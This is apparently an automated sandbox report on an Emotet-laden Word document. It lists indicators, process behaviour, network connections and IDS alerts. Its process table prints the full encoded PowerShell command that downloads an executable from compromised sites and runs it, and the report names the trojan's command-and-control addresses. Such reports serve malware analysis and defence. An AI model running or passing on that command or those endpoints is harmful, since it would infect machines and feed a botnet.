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File name:

C:\Users\admin\Downloads\FILE_NSE3M6B1VO.doc

Full analysis: https://app.any.run/tasks/b192a9eb-5cca-4f32-856a-e2e55152fe87
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 23, 2020, 18:38:27
OS: Windows 10 Professional (build: 16299, 64 bit)
Tags:
macros
macros-on-open
generated-doc
loader
trojan
emotet
emotet-doc
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

5F771B499299E9C6FA59C5A491835E5F

SHA1:

FAE393C5877154719FE988DA80C9403BB6F127FB

SHA256:

F66076ECC005F5BBA5BF8DBE3C7F85FEE5B3CB20A0B19F18F316D94CE160888E

SSDEEP:

3072:NA29oegXO52I2DsTUyEpf/Eg22wNGdAB3It8KlRB/B0r+M:NV9sHDYUFf/XyGd230RhB0L

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  • MALICIOUS

    • Scans artifacts that could help determine the target

      • WINWORD.EXE (PID: 4344)
    • Application was dropped or rewritten from another process

      • 160.exe (PID: 5936)
      • 160.exe (PID: 5192)
      • vmdformat.exe (PID: 700)
      • vmdformat.exe (PID: 5204)
      • gwRWfGWA.exe (PID: 4456)
      • gwRWfGWA.exe (PID: 156)
      • vmdformat.exe (PID: 3424)
      • vmdformat.exe (PID: 4664)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 1724)
    • Changes the autorun value in the registry

      • vmdformat.exe (PID: 5204)
      • vmdformat.exe (PID: 4664)
    • EMOTET was detected

      • vmdformat.exe (PID: 5204)
      • vmdformat.exe (PID: 4664)
    • Connects to CnC server

      • vmdformat.exe (PID: 5204)
      • vmdformat.exe (PID: 4664)
  • SUSPICIOUS

    • Reads Environment values

      • WINWORD.EXE (PID: 4344)
      • Powershell.exe (PID: 1724)
    • PowerShell script executed

      • Powershell.exe (PID: 1724)
    • Executed via WMI

      • Powershell.exe (PID: 1724)
    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 1724)
      • 160.exe (PID: 5936)
      • vmdformat.exe (PID: 5204)
      • gwRWfGWA.exe (PID: 4456)
    • Reads the machine GUID from the registry

      • Powershell.exe (PID: 1724)
      • vmdformat.exe (PID: 5204)
      • SpeechRuntime.exe (PID: 2884)
      • backgroundTaskHost.exe (PID: 6060)
      • vmdformat.exe (PID: 4664)
    • Starts itself from another location

      • 160.exe (PID: 5936)
      • gwRWfGWA.exe (PID: 4456)
      • vmdformat.exe (PID: 5204)
    • Creates files in the program directory

      • vmdformat.exe (PID: 5204)
    • Application launched itself

      • gwRWfGWA.exe (PID: 156)
    • Connects to server without host name

      • vmdformat.exe (PID: 5204)
      • vmdformat.exe (PID: 4664)
    • Executed via COM

      • RuntimeBroker.exe (PID: 972)
      • SystemSettings.exe (PID: 4640)
      • ApplicationFrameHost.exe (PID: 1244)
      • backgroundTaskHost.exe (PID: 6060)
      • SpeechRuntime.exe (PID: 2884)
    • Creates files in the user directory

      • SystemSettings.exe (PID: 4640)
    • Checks supported languages

      • SystemSettings.exe (PID: 4640)
      • backgroundTaskHost.exe (PID: 6060)
    • Connects to unusual port

      • vmdformat.exe (PID: 4664)
    • Connects to SMTP port

      • vmdformat.exe (PID: 4664)
  • INFO

    • Reads the software policy settings

      • WINWORD.EXE (PID: 4344)
      • Powershell.exe (PID: 1724)
    • Reads settings of System Certificates

      • WINWORD.EXE (PID: 4344)
      • Powershell.exe (PID: 1724)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 4344)
    • Reads the machine GUID from the registry

      • WINWORD.EXE (PID: 4344)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 4344)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

XML

AppVersion: 16
HyperlinksChanged: No
SharedDoc: No
CharactersWithSpaces: 20
LinksUpToDate: No
Company: -
ScaleCrop: No
Paragraphs: 1
Lines: 1
DocSecurity: None
Application: Microsoft Office Word
Characters: 18
Words: 3
Pages: 1
TotalEditTime: -
Template: Normal.dotm
ModifyDate: 2020:01:23 16:55:00Z
CreateDate: 2020:01:23 16:55:00Z
RevisionNumber: 1
LastModifiedBy: -
Keywords: -

XMP

Description: -
Creator: -
Subject: -
Title: -

ZIP

ZipFileName: [Content_Types].xml
ZipUncompressedSize: 1505
ZipCompressedSize: 400
ZipCRC: 0x0c0cc35b
ZipModifyDate: 1980:01:01 00:00:00
ZipCompression: Deflated
ZipBitFlag: 0x0006
ZipRequiredVersion: 20
No data.
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Total processes
107
Monitored processes
16
Malicious processes
9
Suspicious processes
2

Behavior graph

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start drop and start drop and start winword.exe powershell.exe conhost.exe 160.exe no specs 160.exe vmdformat.exe no specs #EMOTET vmdformat.exe gwrwfgwa.exe no specs gwrwfgwa.exe vmdformat.exe no specs #EMOTET vmdformat.exe applicationframehost.exe no specs systemsettings.exe no specs runtimebroker.exe no specs backgroundtaskhost.exe no specs speechruntime.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
4344"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\Desktop\FILE_NSE3M6B1VO.doc" /o ""C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
16.0.12026.20264
1724Powershell -w hidden -en JABDAGEAcQByAHIAZwBoAG8AbQBmAHcAdAB2AD0AJwBOAHgAZABiAG0AcQBxAHcAdABmAHgAdABrACcAOwAkAEQAYwBvAGcAYwBnAGUAbgBjACAAPQAgACcAMQA2ADAAJwA7ACQARABnAGoAbAB1AHoAYgBrAD0AJwBHAHgAYQBoAGkAdABzAGYAdABoAGoAYgAnADsAJABGAG4AdQBwAHQAYwBoAHkAdQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARABjAG8AZwBjAGcAZQBuAGMAKwAnAC4AZQB4AGUAJwA7ACQATQBkAHgAbQB0AG0AdwBrAHoAPQAnAE4AbABjAGMAbgB2AHMAYQB1AGsAcwB3ACcAOwAkAEQAbgB6AGQAZwB1AHoAZAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAATgBlAHQALgBXAEUAQgBjAGwAaQBlAG4AVAA7ACQAQwBhAGIAcgBjAHEAZgBpAD0AJwBoAHQAdABwADoALwAvAGMAbABvAGMAawB0AG8AdwBlAHIAYwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBzAHIAZQA5AG8ANgBqAC8AKgBoAHQAdABwADoALwAvAGYAaQBsAG0ALgBkAG0AbgBkAHIALgBjAG8AbQAvAGMAYQBsAGUAbgBkAGEAcgAvADUAZwA3ADIAMQBuAC8AKgBoAHQAdABwADoALwAvAGYAeQB0AGYAYQBzAGgAaQBvAG4ALgBjAG8AbQAvAGUAbABwAC8AZgB2AGUAVQBNAE0AagBEAC8AKgBoAHQAdABwAHMAOgAvAC8AdABlAHMAdAByAGUAbQBpAHgALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBTAHEAUwBBAHYAVQAxAHgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAbwBsAGUAbAB5AGYAdQByAG4AaQB0AHUAcgBlAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAyADAALwAnAC4AIgBzAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUAYgBlAGsAZQB0AGMAcgBlAHoAcQBjAHAAPQAnAFUAdgB4AHgAbgB2AGgAcABkAGYAbQAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBkAHgAaABtAGEAbgBrAHIAcQAgAGkAbgAgACQAQwBhAGIAcgBjAHEAZgBpACkAewB0AHIAeQB7ACQARABuAHoAZABnAHUAegBkAC4AIgBkAE8AYAB3AGAATgBMAG8AQQBkAGYASQBgAEwARQAiACgAJABaAGQAeABoAG0AYQBuAGsAcgBxACwAIAAkAEYAbgB1AHAAdABjAGgAeQB1ACkAOwAkAFUAdgB0AGcAbABwAHAAawA9ACcAVQBpAHIAdwBoAGQAbABsACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARgBuAHUAcAB0AGMAaAB5AHUAKQAuACIAbABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADQAMwA2ADEAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQBSAFQAIgAoACQARgBuAHUAcAB0AGMAaAB5AHUAKQA7ACQAQQBvAHUAegB4AGEAdwBtAGIAZQA9ACcAQgB3AGoAZgBrAHEAegBiACcAOwBiAHIAZQBhAGsAOwAkAFYAYwBvAHcAegBhAG0AcgA9ACcATwBvAHUAZwB5AGgAbgBwAHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVgBjAGYAcQB6AHgAeABiAHUAZgBhAD0AJwBUAHIAawBiAGIAdwB6AGoAawBsAG8AbQBjACcAC:\WINDOWS\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
1504\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\WINDOWS\system32\conhost.exe
Powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.16299.15 (WinBuild.160101.0800)
5192"C:\Users\admin\160.exe" C:\Users\admin\160.exePowershell.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
5936--49f25a9C:\Users\admin\160.exe
160.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
700"C:\Users\admin\AppData\Local\vmdformat\vmdformat.exe"C:\Users\admin\AppData\Local\vmdformat\vmdformat.exe160.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
5204--5aad7a88C:\Users\admin\AppData\Local\vmdformat\vmdformat.exe
vmdformat.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
156"C:\ProgramData\gwRWfGWA.exe"C:\ProgramData\gwRWfGWA.exevmdformat.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
4456--1d99f57C:\ProgramData\gwRWfGWA.exe
gwRWfGWA.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
3424"C:\Users\admin\AppData\Local\vmdformat\vmdformat.exe"C:\Users\admin\AppData\Local\vmdformat\vmdformat.exegwRWfGWA.exe
User:
admin
Company:
Data Perceptions
Integrity Level:
MEDIUM
Description:
Screen capture utility
Exit code:
0
Version:
1.0.0.2
Total events
5 187
Read events
4 723
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
9
Unknown types
6

Dropped files

PID
Process
Filename
Type
4344WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QQJTUCGZHW4FA8LHL1V8.temp
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U6C7R84AHGSLCWES9JMN.temp
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF23A6F3F1F6BB7F8A.TMP
MD5:
SHA256:
1724Powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_obo2fqfo.hm3.ps1
MD5:
SHA256:
1724Powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xrvtsey4.bzi.psm1
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF27128407F74D6E3E.TMP
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF1A1868A6BF89E2E2.TMP
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF79F68995E5C36FF4.TMP
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{68FFF4E0-05DE-4D7B-A8A2-F5E65ABD867E}.tmp
MD5:
SHA256:
4344WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1957D42B.jpeg
MD5:
SHA256:
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HTTP(S) requests
51
TCP/UDP connections
556
DNS requests
565
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4344
WINWORD.EXE
GET
200
13.107.3.128:443
https://config.edge.skype.com/config/v2/Office/word/16.0.12026.20264/Production/CC?&Clientid=%7bD61AB268-C26A-439D-BB15-2A0DEDFCA6A3%7d&Application=word&Platform=win32&Version=16.0.12026.20264&MsoVersion=16.0.12026.20194&Audience=Production&Build=ship&Architecture=x64&Language=en-US&SubscriptionLicense=false&PerpetualLicense=2019&Channel=CC&InstallType=C2R&SessionId=%7b6C66CC7B-03A5-4D60-8053-F3F231CCB8D2%7d&LabMachine=false
US
text
76.2 Kb
whitelisted
1724
Powershell.exe
GET
200
107.189.2.144:80
http://clocktowercommunications.com/wp-admin/sre9o6j/
US
executable
165 Kb
suspicious
4664
vmdformat.exe
POST
108.6.140.26:80
http://108.6.140.26/u45VFc6CDlI49D
US
malicious
4664
vmdformat.exe
POST
70.184.9.39:8080
http://70.184.9.39:8080/8ECOQB
US
malicious
5204
vmdformat.exe
POST
200
222.144.13.169:80
http://222.144.13.169/ux7h8E
JP
binary
1.71 Mb
malicious
5204
vmdformat.exe
POST
207.180.227.229:8080
http://207.180.227.229:8080/o5lNieX
US
malicious
5204
vmdformat.exe
POST
70.184.9.39:8080
http://70.184.9.39:8080/TxZTJ
US
malicious
5204
vmdformat.exe
POST
200
45.79.223.161:443
http://45.79.223.161:443/ZzJptb5
US
binary
148 b
malicious
5204
vmdformat.exe
POST
200
45.79.223.161:443
http://45.79.223.161:443/ZzJptb5
US
binary
148 b
malicious
5204
vmdformat.exe
POST
207.180.227.229:8080
http://207.180.227.229:8080/o5lNieX
US
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4344
WINWORD.EXE
13.107.3.128:443
config.edge.skype.com
Microsoft Corporation
US
whitelisted
4664
vmdformat.exe
108.6.140.26:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious
5204
vmdformat.exe
108.6.140.26:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious
5204
vmdformat.exe
70.184.9.39:8080
Cox Communications Inc.
US
malicious
5204
vmdformat.exe
222.144.13.169:80
NTT Communications Corporation
JP
malicious
4664
vmdformat.exe
111.93.3.180:25
Tata Teleservices ISP AS
IN
unknown
4664
vmdformat.exe
70.184.9.39:8080
Cox Communications Inc.
US
malicious
1724
Powershell.exe
107.189.2.144:80
clocktowercommunications.com
FranTech Solutions
US
suspicious
4664
vmdformat.exe
62.149.128.201:465
smtp.pianetaservizi.it
Aruba S.p.A.
IT
unknown
5204
vmdformat.exe
207.180.227.229:8080
River City Internet Group (Primary Networks)
US
malicious

DNS requests

Domain
IP
Reputation
config.edge.skype.com
  • 13.107.3.128
whitelisted
self.events.data.microsoft.com
  • 52.114.132.73
whitelisted
clocktowercommunications.com
  • 107.189.2.144
suspicious
settings-win-ppe.data.microsoft.com
  • 52.158.29.237
whitelisted
100.99.253.185.b.barracudacentral.org
unknown
100.99.253.185.spam.abuse.ch
unknown
100.99.253.185.spam.dnsbl.sorbs.net
unknown
100.99.253.185.zen.spamhaus.org
unknown
100.99.253.185.bl.mailspike.net
unknown
pop.so-net.ne.jp
  • 202.238.82.193
unknown

Threats

PID
Process
Class
Message
1724
Powershell.exe
A Network Trojan was detected
ET POLICY Terse Named Filename EXE Download - Possibly Hostile
1724
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1724
Powershell.exe
A Network Trojan was detected
AV INFO Suspicious EXE download from WordPress folder
1724
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1724
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
5204
vmdformat.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
5204
vmdformat.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
5204
vmdformat.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
1724
Powershell.exe
A Network Trojan was detected
ET POLICY Terse Named Filename EXE Download - Possibly Hostile
5204
vmdformat.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
No debug info